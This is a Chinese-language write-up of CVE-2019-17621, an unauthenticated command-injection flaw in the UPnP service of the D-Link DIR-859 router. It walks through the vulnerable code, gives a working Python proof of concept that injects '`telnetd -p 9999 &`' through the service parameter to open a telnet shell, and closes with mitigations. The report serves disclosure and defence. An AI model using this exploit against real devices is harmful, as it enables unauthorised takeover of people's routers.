D-Link DIR-859 —未经身份验证的RCE(CVE-2019–17621)
字数 1079 2025-08-26 22:11:51
D-Link DIR-859 未经身份验证的RCE漏洞(CVE-2019-17621)分析报告
漏洞概述
本报告详细分析了D-Link DIR-859路由器中的远程代码执行漏洞(CVE-2019-17621),该漏洞存在于UPnP服务处理过程中,允许未经身份验证的攻击者在局域网内执行任意代码。
受影响产品及版本
- 型号: DIR-859
- 固件版本:
- 1.06b01 Beta01
- 1.05
- 架构: MIPS 32位
UPnP协议简介
UPnP(Universal Plug and Play)是专用网络中设备间的通信协议,主要功能是自动端口映射,无需用户手动配置路由器。它特别适用于需要动态端口分配的场景,如视频游戏系统。
漏洞技术分析
漏洞位置
漏洞存在于/htdocs/cgibin二进制文件的genacgi_main()函数中,该函数处理UPnP请求。
漏洞触发条件
- 请求方法必须为
SUBSCRIBE - 请求URI必须包含
?service=参数
关键代码分析
genacgi_main()函数
/* 检查请求方法是否为SUBSCRIBE */
metodo = getenv("REQUEST_METHOD");
request_uri = getenv("REQUEST_URI");
request_uri_0x3f = strchr(request_uri, 0x3f); // 查找'?'字符
cmp_service = strncmp(request_uri_0x3f, "?service=", 9);
if (cmp_service != 0) {
return -1;
}
/* 获取环境变量 */
server_id_3 = getenv("SERVER_ID");
http_sid_2 = getenv("HTTP_SID");
http_callback_2 = getenv("HTTP_CALLBACK");
http_timeout = getenv("HTTP_TIMEOUT");
http_nt_2 = getenv("HTTP_NT");
remote_addr = getenv("REMOTE_ADDR");
/* 漏洞点: 格式化字符串注入 */
sprintf(buffer_8, "%s \n METHOD=SUBSCRIBE \n INF_UID=%s \n SERVICE=%s \n HOST=%s \n URI=/%s \n TIMEOUT=%d \n REMOTE=%s \n SHELL_FILE=%s/%s_%d.sh",
"/htdocs/upnp/run.NOTIFY.php",
server_id_3,
request_uri_0x3f,
http_callback_2 + 7,
str_http_callback_0x2f + 1,
flag_2,
remote_addr,
"/var/run",
request_uri_0x3f,
get_pid_1);
/* 发送数据 */
xmldbc_ephp(0, 0, buffer_8, (int)stdout);
漏洞利用链
- 攻击者构造特殊格式的UPnP SUBSCRIBE请求
genacgi_main()函数将?service=后的内容直接拼接到SHELL_FILE参数- 数据被传递到PHP脚本
run.NOTIFY.php - PHP脚本调用
GENA_subscribe_new()函数 - 最终调用
GENA_notify_init()函数,将攻击者控制的文件名用于创建shell脚本
关键利用点
GENA_notify_init()函数中的代码:
fwrite(w, $shell_file, "#!/bin/sh \n" . 'echo "[$0] ..." > ' . $upnpmsg . " \n" . "xmldbc -P " . $target_php . " -V INF_UID=" . $inf_uid . "-V HDR_URL=" . $uri . " -V HDR_HOST=" . $host . " -V HDR_SID=" . $sid . " -V HDR_SEQ=0" . " | httpc -i " . $phyinf . " -d \" " . $host . " \" -p TCP > " . $upnpmsg . " \n");
fwrite(a, $shell_file, "rm -f " . $shell_file . " \n");
攻击者可以通过在?service=参数中注入反引号包裹的命令来执行任意代码。
漏洞利用PoC
import socket
import os
from time import sleep
def httpSUB(server, port, shell_file):
print('\n[*] Connection {host}:{port}').format(host=server, port=port)
con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
request = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n"
request += "Host: " + str(server) + str(port) + "\n"
request += "Callback: <http://192.168.0.4:34033/ServiceProxy27>\n"
request += "NT: upnp:event\n"
request += "Timeout: Second-1800\n"
request += "Accept-Encoding: gzip, deflate\n"
request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"
sleep(1)
print('[*] Sending Payload')
con.connect((socket.gethostbyname(server), port))
con.send(request.encode())
results = con.recv(4096)
sleep(1)
print('[*] Running Telnetd Service')
sleep(1)
print('[*] Opening Telnet Connection \n')
sleep(2)
os.system('telnet ' + str(server) + ' 9999')
serverInput = raw_input('IP Router: ')
portInput = 49152
httpSUB(serverInput, portInput, '`telnetd -p 9999 &`')
漏洞利用步骤
- 构造特殊的HTTP SUBSCRIBE请求
- 在
?service=参数中注入命令(如启动telnet服务) - 发送请求到目标路由器的49152端口(UPnP服务端口)
- 连接新开启的服务(如telnet的9999端口)获取shell
防御措施
- 升级到官方修复的固件版本
- 禁用UPnP服务(如果不需要)
- 在网络边界阻止对路由器49152端口的访问
- 实施网络分段,限制对路由器的管理接口访问